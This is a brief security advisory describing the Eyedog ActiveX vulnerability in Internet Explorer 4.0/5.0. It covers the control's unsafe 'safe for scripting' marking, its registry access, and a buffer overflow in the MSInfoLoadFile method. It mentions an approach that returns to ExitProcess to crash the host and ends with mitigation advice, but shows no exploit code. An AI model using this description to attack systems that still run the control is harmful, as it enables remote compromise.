Microsoft Internet Explorer 4.0/5.0 for Windows 95/Windows NT 4/Windows 2000/Windows 95/Windows 98 ActiveX ‘Eyedog’ Vulnerability

The Eyedog ActiveX control is marked 'safe for scripting' although it permits registry access and other information gathering methods to be used. It also contains a buffer overflow error. These weaknesses can be exploited remotely via a malicious webpage or email. With this control, MSInfoLoadFile is the offending method. There is no easy way to RET to our code, so instead, I have shown how to simply RET to ExitProcess directly. This will cause the host to terminate.

Mitigation:

Disable ActiveX controls in the browser settings, or use a browser that does not support ActiveX.
